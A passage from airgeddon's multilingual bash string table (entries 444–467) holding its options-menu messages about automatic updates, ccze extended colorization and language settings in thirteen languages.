e idioma" arr["RUSSIAN",444]="13. Настройки и языковое меню" arr["GREEK",444]="13. Μενού επιλογών και γλώσσας" arr["ITALIAN",444]="13. Menú opzioni e lingua" arr["POLISH",444]="13. Opcje i menu językowe" arr["GERMAN",444]="13. Optionen und Sprachmenü" arr["TURKISH",444]="13. Ayarlar ve dil menüsü" arr["ARABIC",444]="13. الخيارات وقائمة اللغة" arr["CHINESE",444]="13. 脚本设置和语言菜单" arr["ENGLISH",445]="If you have ccze installed and are experiencing display errors or glitches on some windows, you should disable extended colorization in the options and language menu" arr["SPANISH",445]="Si tienes instalado ccze y experimentas errores de visualización o parpadeos en algunas ventanas, desactiva la colorización extendida en el menú de opciones e idioma" arr["FRENCH",445]="Si ccze est installé et vous avez des erreurs de visualisation et de clignotement avec certaines fenêtres, désactivez la colorisation repandue vers le menu d'options et langues" arr["CATALAN",445]="Si tens instal·lat ccze i experimentes errors de visualització o parpelleigs en algunes finestres, desactiva la coloració estesa al menú d'opcions i idioma" arr["PORTUGUESE",445]="Se você tiver ccze instalado e estiver com erros de exibição ou com algumas janelas piscando, desative as cores estendidas em: Opções de menu e idioma" arr["RUSSIAN",445]="Если вы установили ccze и испытываете ошибки отображения или сбои в некоторых окнах, вы должны отключить расширенную раскраску в меню параметров и языков" arr["GREEK",445]="Εάν έχετε εγκαταστήσει ccze και αντιμετωπίζετε σφάλματα εμφάνισης ή δυσλειτουργίες σε ορισμένα παράθυρα, θα πρέπει να απενεργοποιήσετε το extended colorization στο μενού επιλογών και γλώσσας" arr["ITALIAN",445]="Se hai installato ccze e vedi errori o alcune finestre tremolanti, disattiva la colorazione estesa nel menú opzioni e lingua" arr["POLISH",445]="Jeśli zainstalowano ccze i wystąpiły błędy wizualizacji lub migotania w niektórych oknach, powinieneś wyłączyć rozszerzone kolory w menu opcji i języka" arr["GERMAN",445]="Wenn Sie ccze installiert haben und in einigen Fenstern Anzeigefehler oder Flimmern auftreten, deaktivieren Sie die erweiterte Einfärbung im Einstellung- und Sprachmenü" arr["TURKISH",445]="Eğer ccze kuruluysa ve bazı pencerelerde görüntü hataları veya hatalar yaşıyorsanız, seçenek ve dil menüsünde genişletilmiş renklendirmeyi devre dışı bırakmalısınız" arr["ARABIC",445]="ولديك أخطاء في العرض والوميض في بعض النوافذ ، فقم بإيقاف تشغيل التلوين الشائع في قائمة الخيارات واللغات ccze إذا تم تثبيت" arr["CHINESE",445]="如果您安装了 ccze 软件包并且在某些窗口中遇到显示错误或故障,那么您应该在选项和语言菜单中禁用扩展着色" arr["ENGLISH",446]="0. Return to options menu" arr["SPANISH",446]="0. Volver al menú de opciones" arr["FRENCH",446]="0. Retourner au menu options" arr["CATALAN",446]="0. Tornar al menú d'opcions" arr["PORTUGUESE",446]="0. Voltar ao menu de opções" arr["RUSSIAN",446]="0. Возврат в меню опций" arr["GREEK",446]="0. Επιστροφή στο μενού επιλογών" arr["ITALIAN",446]="0. Tornare al menú delle opzioni" arr["POLISH",446]="0. Wróć do menu opcji" arr["GERMAN",446]="0. Zum Optionsmenü zurückkehren" arr["TURKISH",446]="0. Ayarlar menüsüne geri dön" arr["ARABIC",446]="0. العودة إلى قائمة الخيارات" arr["CHINESE",446]="0. 返回选项菜单" arr["ENGLISH",447]="16. Set permanently airgeddon's language to the current one" arr["SPANISH",447]="16. Cambiar permanentemente el idioma de airgeddon al actual" arr["FRENCH",447]="16. Etablir comme langue permanente d'airgeddon celle utilisée actuellement" arr["CATALAN",447]="16. Canviar permanentment l'idioma de airgeddon a l'actual" arr["PORTUGUESE",447]="16. Alterar permanentemente o idioma do airgeddon para o atual" arr["RUSSIAN",447]="16. Сделать текущий язык airgeddon постоянным" arr["GREEK",447]="16. Θέστε μόνιμα την τρέχουσα γλώσσα του airgeddon ως προεπιλεγμένη" arr["ITALIAN",447]="16. Modificare in modo permanente la lingua di airgeddon a quella attuale" arr["POLISH",447]="16. Trwale ustaw język airgeddon na aktualny" arr["GERMAN",447]="16. Ändern Sie dauerhaft die Sprache von airgeddon zur aktuellen Sprache" arr["TURKISH",447]="16. Sürekli olarak airgeddon'un dilini geçerli olana ayarla" arr["ARABIC",447]="16. بشكل دائم على اللغة الحالية airgeddon اضبط لغة" arr["CHINESE",447]="16. 永久设置 airgeddon 的语言为当前语言" arr["ENGLISH",448]="If you installed airgeddon from a repository, you should not enable automatic updates. airgeddon will be updated when there is a new version in the repository" arr["SPANISH",448]="Si instalaste airgeddon desde un repositorio, no deberías activar la actualización automática. airgeddon se actualizará cuando haya una nueva versión en el repositorio" arr["FRENCH",448]="Si vous avez installé airgeddon depuis des dêpots vous devriez ne pas activer les mises à jour automatiques. airgeddon sera mis à jour quand une nouvelle version sera disponible dans vos dépôts" arr["CATALAN",448]="Si vas instal·lar airgeddon des d'un repositori, no hauries d'activar l'actualització automàtica. airgeddon s'actualitzarà quan hi hagi una nova versió al repositori" arr["PORTUGUESE",448]="Se você instalou airgeddon partir de um repositório, você não deve ativar a atualização automática. airgeddon será atualizado quando houver nova versão no repositório" arr["RUSSIAN",448]="Если вы установили airgeddon из репозитория, вам не следует включать автоматические обновления. airgeddon будет обновляться, когда в репозитории будет новая версия" arr["GREEK",448]="Αν εγκαταστήσατε το airgeddon από κάποιο επίσημο αποθετήριο, δεν θα πρέπει να ενεργοποιήσετε τις αυτόματες ενημερώσεις. Το airgeddon θα ενημερωθεί όταν υπάρξει κάποια νέα έκδοση στο επίσημο αποθετήριο" arr["ITALIAN",448]="Se è stato installato airgeddon da un repository, non si dovrebbe attivare l'aggiornamento automatico. airgeddon sará aggiornato quando ci sará una nuova versione nel repository" arr["POLISH",448]="Jeśli zainstalowano airgeddon z repozytorium, nie należy włączać automatycznej aktualizacji. airgeddon zostanie zaktualizowany, gdy w repozytorium znajduje się nowa wersja" arr["GERMAN",448]="Wenn Sie airgeddon aus einem Repository installiert haben, sollten Sie das automatische Update nicht aktivieren. airgeddon wird aktualisiert, wenn eine neue Version im Repository vorhanden ist" arr["TURKISH",448]="Bir depodan airgeddon'u yüklediyseniz, otomatik güncellemeleri etkinleştirmemelisiniz. depoda yeni bir sürüm olduğunda airgeddon güncellenecektir" arr["ARABIC",448]="عند توفر إصدار جديد في مستودعاتك airgeddon من المستودعات ، فلا يجب عليك تفعيل التحديثات التلقائية. سيتم تحديث airgeddon إذا قمت بتثبيت" arr["CHINESE",448]="如果您从软件源安装了 airgeddon,则不应启用自动更新。airgeddon 将在软件包有新版本时随其他软件包一同更新" arr["ENGLISH",449]="2. Enable automatic updates permanently" arr["SPANISH",449]="2. Habilitar permanentemente la actualización automática" arr["FRENCH",449]="2. Activer de façon permanante la mise à jour automatique" arr["CATALAN",449]="2. Habilita permanentment l'actualització automàtica" arr["PORTUGUESE",449]="2. Ativar permanentemente a atualização automática" arr["RUSSIAN",449]="2. Включение постоянных автоматических обновлений" arr["GREEK",449]="2. Ενεργοποιήστε μόνιμα τις αυτόματες ενημερώσεις" arr["ITALIAN",449]="2. Attivare permanentemente l'aggiornamento automatico" arr["POLISH",449]="2. Trwale włącz automatyczną aktualizację" arr["GERMAN",449]="2. Aktivieren Sie die automatische Aktualisierung dauerhaft" arr["TURKISH",449]="2. Otomatik güncellemeleri kalıcı olarak etkinleştir" arr["ARABIC",449]="2. تفعيل التحديث التلقائي بشكل دائم" arr["CHINESE",449]="2. 永久启用自动更新" arr["ENGLISH",450]="5. Enable extended colorization permanently" arr["SPANISH",450]="5. Habilitar permanentemente la colorización extendida" arr["FRENCH",450]="5. Activer en permanence la colorisation étendue" arr["CATALAN",450]="5. Habilita permanentment la coloració estesa" arr["PORTUGUESE",450]="5. Ativar permanentemente as cores estendidas" arr["RUSSIAN",450]="5. Включить расширенную раскраску навсегда" arr["GREEK",450]="5. Ενεργοποιήστε το extended colorization μόνιμα" arr["ITALIAN",450]="5. Attivare permanentemente la colorazione estesa" arr["POLISH",450]="5. Trwale włącz rozszerzone kolorowanie" arr["GERMAN",450]="5. Die erweiterte Einfärbung dauerhaft aktivieren" arr["TURKISH",450]="5. Geliştirilmiş renklendirmeyi kalıcı olarak etkinleştir" arr["ARABIC",450]="5. تفعيل التلوين الممتد بشكل دائم" arr["CHINESE",450]="5. 永久启用扩展着色" arr["ENGLISH",451]="Automatic updates: \${pink_color}Enabled\${normal_color}" arr["SPANISH",451]="Actualizaciones automáticas: \${pink_color}Activadas\${normal_color}" arr["FRENCH",451]="Mises à jour automatiques: \${pink_color}Activées\${normal_color}" arr["CATALAN",451]="Actualitzacions automàtiques: \${pink_color}Activades\${normal_color}" arr["PORTUGUESE",451]="Atualizações automáticas: \${pink_color}Ativa\${normal_color}" arr["RUSSIAN",451]="Автоматическое обновление: \${pink_color}Включено\${normal_color}" arr["GREEK",451]="Αυτόματη ενημέρωση: \${pink_color}Ενεργοποιημένο\${normal_color}" arr["ITALIAN",451]="Aggiornamenti automatici: \${pink_color}Attivati\${normal_color}" arr["POLISH",451]="Aktualizacje automatyczne: \${pink_color}Włączone\${normal_color}" arr["GERMAN",451]="Automatische Updates: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",451]="Otomatik güncellemeler: \${pink_color}Etkin\${normal_color}" arr["ARABIC",451]="\${pink_color}مفعلة\${blue_color} :التحديثات التلقائية\${normal_color}" arr["CHINESE",451]="自动更新: \${pink_color}启用\${normal_color}" arr["ENGLISH",452]="Automatic updates: \${pink_color}Disabled\${normal_color}" arr["SPANISH",452]="Actualizaciones automáticas: \${pink_color}Desactivadas\${normal_color}" arr["FRENCH",452]="Mises à jour automatiques: \${pink_color}Désactivées\${normal_color}" arr["CATALAN",452]="Actualitzacions automàtiques: \${pink_color}Desactivades\${normal_color}" arr["PORTUGUESE",452]="Atualizações automáticas: \${pink_color}Desativa\${normal_color}" arr["RUSSIAN",452]="Автоматическое обновление: \${pink_color}Отключено\${normal_color}" arr["GREEK",452]="Αυτόματη ενημέρωση: \${pink_color}Απενεργοποιημένο\${normal_color}" arr["ITALIAN",452]="Aggiornamenti automatici: \${pink_color}Disattivati\${normal_color}" arr["POLISH",452]="Aktualizacje automatyczne: \${pink_color}Wyłączone\${normal_color}" arr["GERMAN",452]="Automatische Updates: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",452]="Otomatik güncellemeler: \${pink_color}DevreDışı\${normal_color}" arr["ARABIC",452]="\${pink_color}معطلة\${blue_color} :التحديثات التلقائية\${normal_color}" arr["CHINESE",452]="自动更新: \${pink_color}禁用\${normal_color}" arr["ENGLISH",453]="Extended colorization: \${pink_color}Enabled\${normal_color}" arr["SPANISH",453]="Colorización extendida: \${pink_color}Activada\${normal_color}" arr["FRENCH",453]="Colorisation répandue: \${pink_color}Activée\${normal_color}" arr["CATALAN",453]="Coloració estesa: \${pink_color}Activada\${normal_color}" arr["PORTUGUESE",453]="Cores estendidas: \${pink_color}Ativa\${normal_color}" arr["RUSSIAN",453]="Расширенная раскраска: \${pink_color}Включена\${normal_color}" arr["GREEK",453]="Extended colorization: \${pink_color}Ενεργοποιημένο\${normal_color}" arr["ITALIAN",453]="Colorazione estesa: \${pink_color}Attivata\${normal_color}" arr["POLISH",453]="Rozszerzone kolorowanie: \${pink_color}Włączone\${normal_color}" arr["GERMAN",453]="Erweiterte Einfärbung: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",453]="Geliştirilmiş renklendirme: \${pink_color}Etkin\${normal_color}" arr["ARABIC",453]="\${pink_color}مفعل\${blue_color} :التلوين الممتد\${normal_color}" arr["CHINESE",453]="扩展着色: \${pink_color}启用\${normal_color}" arr["ENGLISH",454]="Extended colorization: \${pink_color}Disabled\${normal_color}" arr["SPANISH",454]="Colorización extendida: \${pink_color}Desactivada\${normal_color}" arr["FRENCH",454]="Colorisation répandue: \${pink_color}Désactivée\${normal_color}" arr["CATALAN",454]="Coloració estesa: \${pink_color}Desactivada\${normal_color}" arr["PORTUGUESE",454]="Cores estendidas: \${pink_color}Desativa\${normal_color}" arr["RUSSIAN",454]="Расширенная раскраска: \${pink_color}Отключена\${normal_color}" arr["GREEK",454]="Extended colorization: \${pink_color}Απενεργοποιημένο\${normal_color}" arr["ITALIAN",454]="Colorazione estesa: \${pink_color}Disattivata\${normal_color}" arr["POLISH",454]="Rozszerzone kolorowanie: \${pink_color}Wyłączone\${normal_color}" arr["GERMAN",454]="Erweiterte Einfärbung: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",454]="Geliştirilmiş renklendirme: \${pink_color}DevreDışı\${normal_color}" arr["ARABIC",454]="\${pink_color}معطل\${blue_color} :التلوين الممتد\${normal_color}" arr["CHINESE",454]="扩展着色: \${pink_color}禁用\${normal_color}" arr["ENGLISH",455]="2. Disable automatic updates permanently" arr["SPANISH",455]="2. Deshabilitar permanentemente la actualización automática" arr["FRENCH",455]="2. Désactiver de façon permanante les mises à jour automatiques" arr["CATALAN",455]="2. Deshabilita permanentment l'actualització automàtica" arr["PORTUGUESE",455]="2. Desativar permanentemente a atualização automática" arr["RUSSIAN",455]="2. Отключить постоянные автоматические обновления" arr["GREEK",455]="2. Απενεργοποιήστε μόνιμα τις αυτόματες ενημερώσεις" arr["ITALIAN",455]="2. Disattivare permanentemente gli aggiornamenti automatici" arr["POLISH",455]="2. Trwale wyłącz automatyczną aktualizację" arr["GERMAN",455]="2. Automatische Updates dauerhaft deaktivieren" arr["TURKISH",455]="2. Otomatik güncellemeleri kalıcı olarak devre dışı bırak" arr["ARABIC",455]="2. تعطيل التحديثات التلقائية بشكل دائم" arr["CHINESE",455]="2. 永久禁用自动更新" arr["ENGLISH",456]="5. Disable extended colorization permanently" arr["SPANISH",456]="5. Deshabilitar permanentemente la colorización extendida" arr["FRENCH",456]="5. Désactiver en permanence la colorisation répandue" arr["CATALAN",456]="5. Deshabilita permanentment la coloració estesa" arr["PORTUGUESE",456]="5. Desativar permanentemente as cores estendidas" arr["RUSSIAN",456]="5. Отключать расширенную раскраску на постоянной основе" arr["GREEK",456]="5. Απενεργοποιήστε το extended colorization μόνιμα" arr["ITALIAN",456]="5. Disattivare permanentemente la colorazione estesa" arr["POLISH",456]="5. Trwale wyłącz rozszerzone kolorowanie" arr["GERMAN",456]="5. Erweiterte Einfärbung dauerhaft deaktivieren" arr["TURKISH",456]="5. Geliştirilmiş renklendirmeyi kalıcı olarak devre dışı bırak" arr["ARABIC",456]="5. تعطيل التحديثات التلقائية بشكل دائم" arr["CHINESE",456]="5. 永久禁用扩展着色" arr["ENGLISH",457]="\${blue_color}Automatic updates are going to be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",457]="\${blue_color}Se van a desactivar las actualizaciones automáticas. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",457]="\${blue_color}Désactivation des mises à jour automatiques. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",457]="\${blue_color}Es van a desactivar les actualitzacions automàtiques. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",457]="\${blue_color}As atualizações automáticas serão desabilitadas. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",457]="\${blue_color}Автоматические обновления будут отключены. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",457]="\${blue_color}Οι αυτόματες ενημερώσεις πρόκειται να απενεργοποιηθούν. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",457]="\${blue_color}Si stano per disattivare gli aggiornamenti automatici. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",457]="\${blue_color}Aktualizacje automatyczne zostaną wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",457]="\${blue_color}Automatische Updates werden deaktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",457]="\${blue_color}Otomatik güncellemeler devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",457]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تعطيل التحديثات التلقائية\${normal_color}" arr["CHINESE",457]="\${blue_color}自动更新将被禁用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",458]="\${blue_color}Automatic updates are going to be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",458]="\${blue_color}Se van a activar las actualizaciones automáticas. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",458]="\${blue_color}Activation des mises à jour automatiques. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",458]="\${blue_color}Es van a activar les actualitzacions automàtiques. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",458]="\${blue_color}As atualizações automáticas serão ativadas. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",458]="\${blue_color}Автоматические обновления будут включены. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",458]="\${blue_color}Οι αυτόματες ενημερώσεις πρόκειται να ενεργοποιηθούν. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",458]="\${blue_color}Si stanno per attivare gli aggiornamenti automatici. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",458]="\${blue_color}Automatyczne aktualizacje będą włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",458]="\${blue_color}Automatische Updates werden aktiviert. \${green_color} Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",458]="\${blue_color}Otomatik güncellemeler etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",458]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .سيتم تفعيل التحديثات التلقائية\${normal_color}" arr["CHINESE",458]="\${blue_color}自动更新将被启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",459]="If you installed airgeddon from a repository you shouldn't enable this option. airgeddon will be updated when the repositories do. If you continue, make sure you know what you are doing, or you could cause problems with update flow" arr["SPANISH",459]="Si instalaste airgeddon desde un repositorio no deberías activar esta opción. airgeddon se actualizará cuando lo hagan los repositorios. Si continuas, asegúrate de saber bien lo que haces o podrías causar problemas con flujo de actualizaciones" arr["FRENCH",459]="Si airgeddon a été installé depuis des dépôts vous devriez ne pas activer cette option. airgeddon sera mis à jour automatiquement en passant par vos dépôts. Si vous décidez de continuer soyez conscient du fait que vous pourriez générer ainsi des conflits lors de futures actualisations système" arr["CATALAN",459]="Si vas instal·lar airgeddon des d'un repositori no hauries d'activar aquesta opció. airgeddon s'actualitzarà quan ho facin els repositoris. Si continues, assegura't de saber bé el que fas o podries causar problemes amb flux d'actualitzacions" arr["PORTUGUESE",459]="Se você instalou airgeddon a partir de um repositório você não deve ativar essa opção. airgeddon será atualizado quando você estiver disponível nos repositórios. Se você continuar, verifique se você sabe o que está fazendo ou ou você pode causar problemas com o fluxo de atualização" arr["RUSSIAN",459]="Если вы установили airgeddon из репозитория, вы не должны включать эту опцию. airgeddon будет обновляться вместе с репозиториями. Если вы продолжите, убедитесь, что знаете, что делаете, или ваши действия могут вызвать проблемы для этой программы" arr["GREEK",459]="Εάν εγκαταστήσατε το airgeddon από κάποιο επίσημο αποθετήριο, δεν πρέπει να ενεργοποιήσετε αυτή την επιλογή. Το airgeddon θα ενημερωθεί όταν ενημερωθούν και τα αποθετήρια. Αν συνεχίσετε, βεβαιωθείτε ότι γνωρίζετε τι κάνετε και ότι θα μπορεί να προκαλέσετε προβλήματα με τη ροή ενημέρωσης" arr["ITALIAN",459]="Se airgeddon è stato installato da un repository non si dovrebbe attivare questa opzione. airgeddon sará aggiornato quando lo faranno i repository. Se continui, assicurati di sapere bene quello che fai o potrebbe causare problemi al flusso degli aggiornamenti" arr["POLISH",459]="Jeśli zainstalowano airgeddon z repozytorium, nie należy włączać tej opcji. airgeddon zostanie zaktualizowany, gdy w repozytorium pojawi się nowa wersja. Jeśli kontynuujesz, upewnij się, że wiesz co robisz, bo to może spowodować problemy z aktualizacją" arr["GERMAN",459]="Wenn Sie airgeddon aus einem Repository installiert haben, sollten Sie diese Option nicht aktivieren. airgeddon wird aktualisiert, wenn die Repositories dies tun. Wenn Sie fortfahren, vergewissern Sie sich, dass Sie wissen, was Sie tun. Probleme können erscheinen" arr["TURKISH",459]="Bir depodan airgeddon'u yüklediyseniz, bu seçeneği etkinleştirmemelisiniz. Havuzlar yapıldığı zaman airgeddon güncellenecektir. Devam ederseniz, ne yaptığınızı bildiğinizden emin olun, ya da güncelleme akışında sorunlara neden olabilirsiniz" arr["ARABIC",459]="عندما يتم تحديث المستودعات. إذا تابعت ، فتأكد من معرفتك بما تفعله ، وإلا فقد تتسبب في حدوث مشاكل في التحديث airgeddon من مستودع ، فلا يجب عليك تفعيل هذا الخيار. سيتم تحديث airgeddon إذا قمت بتثبيت" arr["CHINESE",459]="如果您从软件源安装了 airgeddon,则不应启用自动更新。airgeddon 将在软件包有新版本时随其他软件包一同更新。如果继续,请确保您知道自己在做什么,否则可能会导致软件包的更新流程出现问题" arr["ENGLISH",460]="Automatic updates have been enabled" arr["SPANISH",460]="Se han activado las actualizaciones automáticas" arr["FRENCH",460]="Mises à jour automatiques activées" arr["CATALAN",460]="S'han activat les actualitzacions automàtiques" arr["PORTUGUESE",460]="As atualizações automáticas foram ativadas" arr["RUSSIAN",460]="Автоматические обновления включены" arr["GREEK",460]="Οι αυτόματες ενημερώσεις έχουν ενεργοποιηθεί" arr["ITALIAN",460]="Sono stati attivati gli aggiornamenti automatici" arr["POLISH",460]="Automatyczne aktualizacje zostały włączone" arr["GERMAN",460]="Automatische Updates wurden aktiviert" arr["TURKISH",460]="Otomatik güncellemeler etkinleştirildi" arr["ARABIC",460]="تم تفعيل التحديثات التلقائية" arr["CHINESE",460]="已启用自动更新" arr["ENGLISH",461]="Automatic updates have been disabled" arr["SPANISH",461]="Se han desactivado las actualizaciones automáticas" arr["FRENCH",461]="Mises à jour automatiques désactivées" arr["CATALAN",461]="S'han desactivat les actualitzacions automàtiques" arr["PORTUGUESE",461]="As atualizações automáticas foram desativadas" arr["RUSSIAN",461]="Автоматические обновления отключены" arr["GREEK",461]="Οι αυτόματες ενημερώσεις έχουν απενεργοποιηθεί" arr["ITALIAN",461]="Sono stati disattivati gli aggiornamenti automatici" arr["POLISH",461]="Automatyczne aktualizacje zostały wyłączone" arr["GERMAN",461]="Automatische Updates wurden deaktiviert" arr["TURKISH",461]="Otomatik güncellemeler devre dışı bırakıldı" arr["ARABIC",461]="تم تعطيل التحديثات التلقائية" arr["CHINESE",461]="自动更新已被禁用" arr["ENGLISH",462]="\${blue_color}Extended colorization is going to be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",462]="\${blue_color}Se va a desactivar la colorización extendida. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",462]="\${blue_color}On va désactiver la colorisation répandue. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",462]="\${blue_color}Es va a desactivar le coloració estesa. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",462]="\${blue_color}As cores estendidas serão desativadas. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",462]="\${blue_color}Расширенная раскраска будет отключена. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",462]="\${blue_color}Το extended colorization θα ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",462]="\${blue_color}La colorazione estesa sará disattivata. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",462]="\${blue_color}Rozszerzone kolorowanie zostanie wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",462]="\${blue_color}Erweiterte Einfärbung wird deaktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",462]="\${blue_color}Geliştirilmiş renklendirme devre dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",462]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟ \${blue_color}.سيتم تعطيل التلوين الممتد\${normal_color}" arr["CHINESE",462]="\${blue_color}扩展着色将被禁用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",463]="\${blue_color}Extended colorization is going to be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",463]="\${blue_color}Se va a activar la colorización extendida. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",463]="\${blue_color}On va activer la colorisation répandue. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",463]="\${blue_color}Es va a activar la coloració estesa. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",463]="\${blue_color}As cores estendidas serão ativadas. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",463]="\${blue_color}Расширенная раскраска будет включена. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",463]="\${blue_color}Το extended colorization θα ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",463]="\${blue_color}La colorazione estesa sará attivata. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",463]="\${blue_color}Rozszerzone kolorowanie zostanie włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",463]="\${blue_color}Erweiterte Einfärbung wird aktiviert. \${green_color}Wollen Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",463]="\${blue_color}Geliştirilmiş renklendirme etkinleştirilecektir. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",463]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟ \${blue_color}.سيتم تفعيل التلوين الممتد\${normal_color}" arr["CHINESE",463]="\${blue_color}扩展着色将被启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",464]="You don't have the ccze package installed so any change on this option will have no effect until you install it" arr["SPANISH",464]="No tienes instalado el paquete ccze por lo que cualquier cambio que realices sobre esta opción no tendrá efecto hasta que lo instales" arr["FRENCH",464]="Ccze n'est pas installé, les paramétrages effectués avec cette option seront effectifs une fois czze installé" arr["CATALAN",464]="No tens instal·lat el paquet ccze pel que qualsevol canvi que facis sobre aquesta opció no tindrà efecte fins que el instal·lis" arr["PORTUGUESE",464]="Você não tem o pacote ccze instalado, qualquer alterações feita nesta opção não terá efeito até que você instale-o" arr["RUSSIAN",464]="У вас не установлен пакет ccze, поэтому любое изменение этой опции не будет иметь никакого эффекта, пока вы его не установите" arr["GREEK",464]="Δεν έχετε εγκατεστημένο το πακέτο ccze, οπότε οποιαδήποτε αλλαγή σε αυτήν την επιλογή δεν θα έχει αποτέλεσμα μέχρι να το εγκαταστήσετε" arr["ITALIAN",464]="Non è stato installato il pacchetto ccze per cui tutte le modifiche apportate su questa opzione non avranno alcun effetto finché non si installa" arr["POLISH",464]="Nie masz zainstalowanego pakietu ccze, więc wszelkie zmiany wprowadzone w tej opcji nie będą obowiązywać dopóki nie zostanie zainstalowany" arr["GERMAN",464]="Sie haben das ccze-Paket nicht installiert, sodass Änderungen, die Sie an dieser Option vornehmen, erst nach der Installation wirksam werden" arr["TURKISH",464]="Ccze paketinin yüklü olmaması, bu seçenek üzerinde herhangi bir değişikliğin kuruluncaya kadar hiçbir etkisi olmayacaktır" arr["ARABIC",464]="لذا لن يكون لأي تغيير في هذا الخيار أي تأثير حتى تقوم بتثبيته ،ccze لم يتم تثبيت حزمة" arr["CHINESE",464]="您没有安装 ccze 包,因此在您安装它之前对此选项的任何更改都不会生效" arr["ENGLISH",465]="Extended colorization has been enabled" arr["SPANISH",465]="Se ha activado la colorización extendida" arr["FRENCH",465]="Colorisation répandue activée" arr["CATALAN",465]="S'ha activat la coloració estesa" arr["PORTUGUESE",465]="As cores estendidas estendidas foram ativas" arr["RUSSIAN",465]="Расширенная раскраска включена" arr["GREEK",465]="Έχει ενεργοποιηθεί το extended colorization" arr["ITALIAN",465]="La colorazione estesa è stata attivata" arr["POLISH",465]="Rozszerzone kolorowanie zostało aktywowane" arr["GERMAN",465]="Erweiterte Einfärbung wurde aktiviert" arr["TURKISH",465]="Geliştirilmiş renklendirme etkinleştirildi" arr["ARABIC",465]="تم تفعيل التلوين الممتد" arr["CHINESE",465]="已启用扩展着色" arr["ENGLISH",466]="Extended colorization has been disabled" arr["SPANISH",466]="Se ha deshabilitado la colorización extendida" arr["FRENCH",466]="Colorisation répandue désactivée" arr["CATALAN",466]="S'ha desactivat la coloració estesa" arr["PORTUGUESE",466]="As cores estendidas estendidas foram desativadas" arr["RUSSIAN",466]="Расширенная раскраска отключена" arr["GREEK",466]="Το extended colorization έχει απενεργοποιηθεί" arr["ITALIAN",466]="La colorazione estesa è stata disattivata" arr["POLISH",466]="Rozszerzone kolorowanie zostało wyłączone" arr["GERMAN",466]="Erweiterte Einfärbung wurde deaktiviert" arr["TURKISH",466]="Geliştirilmiş renklendirme devre dışı bırakıldı" arr["ARABIC",466]="تم تعطيل التلوين الممتد" arr["CHINESE",466]="扩展着色已被禁用" arr["ENGLISH",467]="6. 